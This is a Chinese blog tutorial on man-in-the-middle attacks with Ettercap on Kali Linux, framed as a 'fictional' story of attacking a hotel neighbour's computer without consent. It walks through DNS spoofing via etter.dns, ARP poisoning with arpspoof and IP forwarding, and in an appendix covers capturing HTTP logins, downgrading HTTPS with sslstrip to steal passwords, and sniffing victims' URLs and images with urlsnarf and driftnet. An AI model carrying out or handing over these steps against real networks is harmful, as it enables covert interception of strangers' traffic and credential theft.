初探 Ettercap： ARP投毒 && DNS欺骗

迈不过友情╰ 2021-11-11 09:40 484阅读 0赞

**笔记一：ettercap是什么？**

我们在对WEB安全检测的时候都会用到Cain和netfuke这两款工具，功能相信用过的朋友多多少少都知道，但这两款工具是在windows下运行的。

而ettercap是在linux下运行的 。其实功能都是差不多的，我称呼它为嗅探工具，ARP欺骗，DNS，劫持，中间人攻击等等。总之这是一款强大的安全测试工具。

**笔记二：DNS简单说明**

了解DNS是什么：Domain Name System (域名系统 简称：DNS)       //详细资料自己查百度

了解DNS欺骗是什么：攻击者(黑客)冒充域名服务器进行欺骗的一种行为   //详细资料自己查百度

了解DNS原理原理：如果可以冒充域名服务器，然后把查询的IP地址设为攻击者的IP地址，

这样的话，用户上网就只能看到攻击者的主页，而不是用户想要取得的网站的主页了，这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站，而是冒名顶替、招摇撞骗罢了。

**笔记三：DNS欺骗举例**

(故事纯属虚构)：

那是一个夜黑风高的夜晚，又是刮风，有事闪电的，本想在撸几盘撸啊撸，搞的我心情一点都不好，于是关掉电脑准备睡觉了，然而突然啊的一声！瞬间把我从困意中拉了回来，在仔细一听~~~

在发现是隔壁宾馆在做爱爱，尼玛~~~搞这么大声做什么？让我怎么睡觉啊？尼玛的，决定展开一次入侵隔壁电脑。。。

准备工作：

隔壁电脑：192.168.1.12 (宾馆一般都装有还原精灵 所以电脑是裸奔(多数没装防火墙) )   //受害者机器

自带笔记本：192.168.1.11 (kali linux系统  接上宾馆自己那间房的网线)    //入侵者机器

网关IP:192.168.1.1

踩点：

怎么知道隔壁的电脑IP地址？

先看自己的房间号，比如是5-11(假如表示5楼11间房)，在来到自己房间看自己电脑的IP地址，一般是192.168.1.11

那么隔壁的自己出门去看门牌就知道了，(假如是5-12)，那么隔壁的IP地址就是192.168.1.12 最后在ping一下 通了 说明电脑开着，不同，说明电脑关着，或者防火墙什么的。。。

这个方法比较死？当然其它方法也有，根据自己经验而定。。。

首先先打开ettercap的DNS文件进行编辑，在kali linux2.0下的文件路径为/etc/ettercap/etter.dns

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTA4MjU2NjktMjg2MDAwMDQzLmpwZw][]

在对应的位置添加对应的 标识和IP地址  **\* 代表所有域名 后边就是你要欺骗为的IP地址 (192.168.1.11则为kali服务器地址)**，这里是当然是我自己的主机IP地址啦

然后记得保存。

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNjM5NTQ3MzEtMjEzMzYyMzYxMS5qcGc][]

再来编辑/var/www/html/index.html文件  改成你定义页面 这里我简单的改了下

因为后边我们要启动apache2 也就是网页服务器 这是主页文件， **service apache2 start**

说白了目的是为了DNS欺骗成功后，

当受害者（隔壁宾馆两口）访问域名访问网站后，打开的页面就是我们这里的这个主页文件里边的内容。。。。编辑好了---记得保存

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTE0Mzc5NjYtMTExNTMwMzcyNS5qcGc][]

现在我们在到终端输入命令**/etc/init.d/apache2 start**  来启动apache2 服务器 (把本机作为一个服务器) 。

在输入命令**ettercap -G**来进入ettercap的图形界面。我喜欢用图形界面，也许也windows玩多的原因吧，不喜欢linux下的命令行 ps:虽然看起来很帅的样子..... - -！

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTI1MDA4NTYtMTM3NzI1ODY1LmpwZw][]

1）选择网卡Unfied sniffing---配置

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTI2MzcxMzctMTczNTMzNjg4Mi5qcGc][]

2）网卡选择eth0（根据自己的计算机网卡而定）

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTI5MTY1NzUtMTk5NzgzMDk0LmpwZw][]

3）再来扫描网关下的所以在线的计算机主机，来到hosts选项下的 scan for hosts

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTM0MDI0OTctNTYwMzQ4NDA3LmpwZw][]

4）继续选着Hosts list 列出扫到的主机

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTM1MDUyMDAtNTg3ODgxNzYzLmpwZw][]

5） 可以看见列出了所有机器，先在列表里选择网关进行添加，我这里的网关是192.18.1.1。 点击 Add to target 1

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQxMTc2NjktNDQ0NzcwNzI1LmpwZw][]

6）这里选择受害者的IP地址(隔壁那位妹子的。。。)

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQzNTQxMzctMTYwOTMwNDgyOS5qcGc][]

7）配置好后在继续点击mitm>arp poisoning （arp 投毒）

类似于：

**arpspoof -i eth0 -t 192.168.1.12 192.168.1.1**

**arpspoof -i eth0 -t 192.168.1.1 192.168.1.12 **

**echo 1 > /proc/sys/net/ipv4/ip\_forward 开启转发**

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQ1MTA3MzEtMTgyNzU4Nzk5Mi5qcGc][]

8)  选择第一个勾上 确定

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQ4MzY3OTQtMTU1Njc0MDkyNC5qcGc][]

9) 配置插件plugins>mangge the plugins

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQ3NTc1MTItODY1NTcyMzcwLmpwZw][]

10) 我们要进行的是DNS欺骗 双击dns\_spoof 可以看见下边的提示

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTUxMzE4ODctMTA5Mzk5Mzg2MS5qcGc][]

11 ) 最后点击strat>start sniffing开始DNS欺骗 这样就开始工作了。。。。

后续：

隔壁的妹子完事后，准备上电脑去逛逛QQ空间 不管打开任何网站页面一直是这样的。。。

![aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNjQ2MDIwNTktOTE3MTI4OTA4LmpwZw][]

哈哈~~~故事纯属虚构。。。这就是DNS欺骗啦，文章就到这里啦，要学习还很多。。。。

技术宅的路上少不了苦逼和孤独，但那又怎样，哪怕成不了大神，也要码的漂亮。

# 附录：  #

kali系统命令：  
arpspoof -i 网卡 -t 目标IP 网关 \#断网攻击

HTTP账号密码获取：

命令：echo 1 > /proc/sys/net/ipv4/ip\_forward \# 写入 1 表示开启转发功能!

可以用cat查看修改：

命令：cat /proc/sys/net/ipv4/ip\_forward \# 显示1表示成功开启转发功能，0表示未开启

命令：arpspoof -i 网卡 -t 目标IP 网关 \#开启欺骗

用ettercap抓取登入帐号，密码：

命令：**ettercap -Tq -i** 网关 \# T表示文本模式，q表示安静模式

HTTPS账号密码获取：  
先编辑下/etc/ettercap/etter.conf  
命令：**vim /etc/ettercap/etter.conf**  
找到  
\# if you use iptables:  
\#redir\_command\_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"  
\#redir\_command\_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

改为（去掉两个\#）：  
\# if you use iptables:  
redir\_command\_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"  
redir\_command\_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"  
进入vim状态：  
按下i，进入编辑  
按下Esc，Shift+：,q!(不保存，退出)或 wq（保存，退出）

然后运行**sslstrip** **-a -f -k** 实现https转换成http以获取帐号密码  
再用HTTP账号密码获取方法就可。

**最后，补充一下kali中几个和本次实验相关的工具，以及使用方法：**

urlsnarf -i eth0

在成功的ARP欺骗后，可以利用这个命令抓取流量，看目标浏览了哪些网页。

driftnet -i eth0

同理，在arp欺骗成功后，可以从网卡中抓取目标浏览的图片，但是只能是图片，而且还有一个缺陷，那就是不是所有的图片都能抓到。

[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTA4MjU2NjktMjg2MDAwMDQzLmpwZw]: /images/20211109/416e1ef5012048eeb92eaf43a09613b1.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNjM5NTQ3MzEtMjEzMzYyMzYxMS5qcGc]: /images/20211109/76c0ea7f616c416bb780a7bfb6832755.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTE0Mzc5NjYtMTExNTMwMzcyNS5qcGc]: /images/20211109/0b9ecbc404e7480384817788decb160e.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTI1MDA4NTYtMTM3NzI1ODY1LmpwZw]: /images/20211109/c1aeed1653824467a6dc23c589f278d1.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTI2MzcxMzctMTczNTMzNjg4Mi5qcGc]: /images/20211109/21c6d34febf04d968c7146636b597c63.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTI5MTY1NzUtMTk5NzgzMDk0LmpwZw]: /images/20211109/d509ff852a7648be82a9cf90e206aa5c.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTM0MDI0OTctNTYwMzQ4NDA3LmpwZw]: /images/20211109/5aed6a313f7c407d9202f8e1a89863b2.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTM1MDUyMDAtNTg3ODgxNzYzLmpwZw]: /images/20211109/9340221d31d145d2880dc67281ce095d.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQxMTc2NjktNDQ0NzcwNzI1LmpwZw]: /images/20211109/21e6377901704d0cbce91d02e4377da6.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQzNTQxMzctMTYwOTMwNDgyOS5qcGc]: /images/20211109/fc5d806ce5ea46208b219d81cda317e5.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQ1MTA3MzEtMTgyNzU4Nzk5Mi5qcGc]: /images/20211109/1483ebd4e2b949328d2f4fa0767d9c99.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQ4MzY3OTQtMTU1Njc0MDkyNC5qcGc]: /images/20211109/39b2826b8e704e61bda4539e41dbbf85.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTQ3NTc1MTItODY1NTcyMzcwLmpwZw]: /images/20211109/88df32a3ae3446cdbc37c1e7ad7dbde7.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNTUxMzE4ODctMTA5Mzk5Mzg2MS5qcGc]: /images/20211109/98c265567ad947988e66e3a0c6cb0950.png
[aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvNzc3OTk4LzIwMTUxMi83Nzc5OTgtMjAxNTEyMTMxNjQ2MDIwNTktOTE3MTI4OTA4LmpwZw]: /images/20211109/da7894fd77ba4f6790516782af657558.png